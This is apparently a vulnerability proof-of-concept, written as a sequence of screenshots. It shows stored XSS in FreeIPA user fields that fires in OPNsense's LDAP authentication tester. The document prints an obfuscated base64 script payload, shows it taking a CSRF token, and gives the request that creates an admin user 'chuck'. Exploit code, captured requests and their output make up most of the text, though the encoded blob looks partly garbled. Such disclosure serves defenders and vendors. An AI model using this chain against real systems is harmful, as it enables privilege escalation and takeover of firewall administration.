




Step 1: Payload in IPA user fields

- ```
- <script>eval(atob('ZnVuY3Rpb24gcmlvZGlzdGVuZXIgcKkge312YXlgb1JlcSA9IG5ldyBYTUxldHRwUmVxdWVzdCgpO29SZXEub25sb2FkID0gcmlvZGlzdGVuZXI7b1JlcS5vcGVuKjw3N0liwgl9maXJld2FsbF9ydWxlc5waHAiLCBmYWxzZSk7b1JlcS5zXRSZXF1ZXN0SGVhZGVyKCDYLUNTUkZUB2tlbicslCdhYWFhJyk7b1JlcS5zXRSZXF1ZXN0SGVhZGVyKCDDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURiO4Jyk7b1JlcS5zZW5kKCdhY3Q9dG9nZ2xlJmklPTEnKTt0b2tlbj1vUmVxLnJlc3BvbnNlVGV4dC5tYXRjaCgVW0EtWmEtejAtOV17MzJ9Lyk7Cg=='))</script>
```

test\_xss est membre de :

|            |                            |                |       |             |             |
|------------|----------------------------|----------------|-------|-------------|-------------|
| Paramètres | Groupes d'utilisateurs (2) | Groupes réseau | Rôles | Règles HBAC | Règles sudo |
|------------|----------------------------|----------------|-------|-------------|-------------|

 Rafraîchir  Rétablir  Enregistrer Actions ▾






|                |                                                                                         |         |
|----------------|-----------------------------------------------------------------------------------------|---------|
| Titre de poste |                                                                                         |         |
| Prénom *       | test                                                                                    | Annuler |
| Nom *          | test                                                                                    | Annuler |
| Nom complet *  | test                                                                                    | Annuler |
| Nom affiché    | <script>eval(atob("ZnVuY3Rpb24gcmlldGVuZXIgcKkge31ZYXlgb1JlcSA9IG5ldyBYTUxldHRwUmVxd")) |         |
| Initiales      | <script>eval(atob("ZnVuY3Rpb24gcmlldGVuZXIgcKkge31ZYXlgb1JlcSA9IG5ldyBYTUxldHRwUmVxd")) |         |
| GECOS          | test                                                                                    | Annuler |
| Classe         |                                                                                         |         |

|                                  |                          |
|----------------------------------|--------------------------|
| Identifiant de connexion         | test_xss                 |
| Mot de passe                     | *****                    |
| Expiration de mot de passe       | 2022-01-18 08:09:23Z     |
| UID                              | 1833800060               |
| GID                              | 1833800060               |
| Principal alias                  | test_xss@INFRA.LOCAL     |
| Expiration du principal Kerberos |                          |
| Interpréteur de commande         | /bin/sh                  |
| Répertoire personnel             | /home/test_xss           |
| Clés publiques SSH               | <button>Ajouter</button> |
| Certificats                      | <button>Ajouter</button> |
| Certificate mapping data         |                          |

## Step 2: Exploit in OPNSENSE

**\*\* Users Before Exploit \*\***

admin\_ipa@opnsense.infra.local

| System: Access: Users                                                                                                                                                                                                                                                                                  |                      |        |
|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------|--------|
| Username                                                                                                                                                                                                                                                                                               | Full name            | Groups |
|  admin_ipa                                                                                                                                                                                                            | admin IPA            | admins |
|  root                                                                                                                                                                                                                 | System Administrator | admins |
|  System Administrator  Disabled User  Normal User |                      |        |

1. OPNSENSE's admin goes to System->Access->Tester
2. Admin tries to test FREEIPA's LDAP server with "test\_XSS" user

admin\_ipa@opnsense.infra.local

System: Access: Tester

Authentication Server

LDAP de FreeIPA

Username

test\_XSS

Password

\*\*\*\*\*

Test

### 3. OPNSENSE retrieves test\_XSS 's LDAP informations:

#### System: Access: Tester

User: test\_XSS authenticated successfully.  
This user is a member of these groups:

Attributes received from server:

dn => uid=test\_xss,cn=users,cn=accounts,dc=infra,dc=local

uid => test\_xss [redacted] First Payload

displayname =>

gecos => aaddaa

krbprincipalname => test\_xss@INFRA.LOCAL

objectclass => top

person

organizationalperson

inetorgperson

inetuser

posixaccount

krbprincipalaux

krbticketpolicyaux

ipaobject

ipasshuser

ipaSshGroupOfPubKeys

mepOriginEntry

loginshell => /bin/sh

homedirectory => /home/test\_xss

mail => test\_xss@infra.local

krbcanonicalname => test\_xss@INFRA.LOCAL

ipauniqueid => 53fc9f34-2cc1-11ec-8e52-000c29f16f9d

uidnumber => 1833800060

gidnumber => 1833800060

krbpasswordexpiration => 20220118080923Z

krblastpwdchange => 20211020080923Z

sn => aadd

cn => aadd

givenname => aa

initials => [redacted] 2nd Payload

memberof => cn=ipausers,cn=groups,cn=accounts,dc=infra,dc=local

cn=trust admins,cn=groups,cn=accounts,dc=infra,dc=local

### 4. First Payload retrieves ' token, as you can see a valid token is in the response text

Inspecteur

Console

Débogueur

Réseau

Éditeur de style

Performances

Mémoire

Stockage

Accessibilité

Applications

Cookie Editor

Adblock Plus

Filtrer les URL

Tout

HTML

CSS

JS

XHR

Polices

Images

Médias

WS

Autre

Désactiver le cache

Aucun

| État | Métho... | Domaine          | Fichier                                        | Initiateur          | Type | Transfert    | Taille    | En-têtes | Cookies | Requête | Réponse | Délais | Trace de la pile | Sécurité |
|------|----------|------------------|------------------------------------------------|---------------------|------|--------------|-----------|----------|---------|---------|---------|--------|------------------|----------|
| 200  | POST     | opnsense.infr... | diag_authentication.php                        | document            | html | 81,57 Ko     | 80,97 ... |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | polyfills.js?v=6519319ed7a397b2                | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | jquery-3.5.1.min.js                            | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | bootstrap-datepicker.min.js?v=6519319ed7a397b2 | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | d3.min.js?v=6519319ed7a397b2                   | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | nv.d3.min.js?v=6519319ed7a397b2                | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | opnsense_legacy.js?v=6519319ed7a397b2          | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | opnsense.js?v=6519319ed7a397b2                 | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | opnsense_theme.js?v=6519319ed7a397b2           | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | bootstrap3-typeahead.min.js?v=6519319ed7a397b2 | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | bootstrap.min.js?v=6519319ed7a397b2            | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | bootstrap-select.min.js?v=6519319ed7a397b2     | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | bootstrap-dialog.min.js?v=6519319ed7a397b2     | script              | js   | mis en cache | 0 o       |          |         |         |         |        |                  |          |
| 403  | POST     | opnsense.infr... | firewall_rules.php                             | diag_authenticat... | html | 915 o        | 563 o     |          |         |         |         |        |                  |          |
| 302  | POST     | opnsense.infr... | system_usermanager.php?act=new                 | diag_authenticat... | html | 96,79 Ko     | 96,09 ... |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | system_usermanager.php?act=edit&userid=2&save  | diag_authenticat... | html | 96,69 Ko     | 96,09 ... |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | /api/core/menu/search/?_=1634718335958         | jquery-3.5.1.min... | json | 47,79 Ko     | 47,44 ... |          |         |         |         |        |                  |          |
| 200  | GET      | opnsense.infr... | favicon.png?v=6519319ed7a397b2                 | FaviconLoader.js... | png  | mis en cache | 2,87 Ko   |          |         |         |         |        |                  |          |

18 requêtes

324,01 Ko / 323,73 Ko transférés

Terminé en : 1,66 s

DOMContentLoaded: 1,34 s

load: 1,35 s

1

2

3

4

5

6

7

8

9

10

11

12

13

14

HTML

<html><head><title>CSRF check failed</title>

<script>

\$( document ).ready(function() {

\$.ajaxSetup({

'beforeSend': function(xhr) {

xhr.setRequestHeader("X-CSRFToken", "Sj83VDc5T3Q3dnZawVJZd1B0aHg

};

});

</script>

</head>

<body>

<p>CSRF check failed. Your form session may have expired, or you may

</body></html>

## 5. 2<sup>nd</sup> payload request endpoint with valid CSRF token

18 requêtes 324,01 Ko / 323,73 Ko transférés Terminé en : 1,66 s DOMContentLoaded: 1,34 s load: 1,35 s

En-têtes

Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Location: /system\_usermanager.php?act=edit&userid=2&savemsg=The+changes+have+been+added+successfully.  
Pragma: no-cache  
Referer-policy: same-origin  
Server: OPNsense  
Set-cookie: PHPSESSID=87907b53ae37716c1b0909f95ba40a5f; path=/; secure; HttpOnly  
X-content-type-options: nosniff  
X-Firefox-Spdy: h2  
X-frame-options: SAMEORIGIN  
X-xss-protection: 1; mode=block

En-têtes de la requête (659 o)

Accept: \*/\*  
Accept-Encoding: gzip, deflate, br  
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3  
Connection: keep-alive  
Content-Length: 291  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Cookie: PHPSESSID=87907b53ae37716c1b0909f95ba40a5f  
Host: opnsense.infra.local  
Origin: https://opnsense.infra.local  
Referer: https://opnsense.infra.local/diag\_authentication.php  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
TE: trailers  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15; rv:93.0) Gecko/20100101 Firefox/93.0  
X-CSRFToken: SIB3VDC5T3Q3dnZwWVJZdiB0aHoxdz05

## 6. Payload tries to create user chuck with and add it to admins group

18 requêtes 324,01 Ko / 323,73 Ko transférés Terminé en : 1,66 s DOMContentLoaded: 1,34 s load: 1,35 s

Requête







```
{ "act": "new", "userid": "", "priv_delete": "", "api_delete": "", "certid": "", "scope": "user", "usernamefld": "toto", "oldusername": "toto", "passwordfld1": "chuck", "passwordfld2": "chuck", "descr": "chuck", "email": "chuck@norris.com", "comment": "", "landing_page": "", "language": "Default", "shell": "", "expires": "", "groups[]": "admins", "otp_seed": "", "authorizedkeys": "", "ipsecpsk": "", "save": "save"}
```


## 7. User “Chuck” is created, and it belongs to admins group


admin\_ipa@opnsense.infra.local


Q

System: Access: Users

| Username                                                                                    | Full name            | Groups |                                                                                     |
|---------------------------------------------------------------------------------------------|----------------------|--------|-------------------------------------------------------------------------------------|
|  admin_ipa | admin IPA            | admins |  |
|  chuck     | chuck                | admins |  |
|  root      | System Administrator | admins |  |

 System Administrator

 Disabled User

 Normal User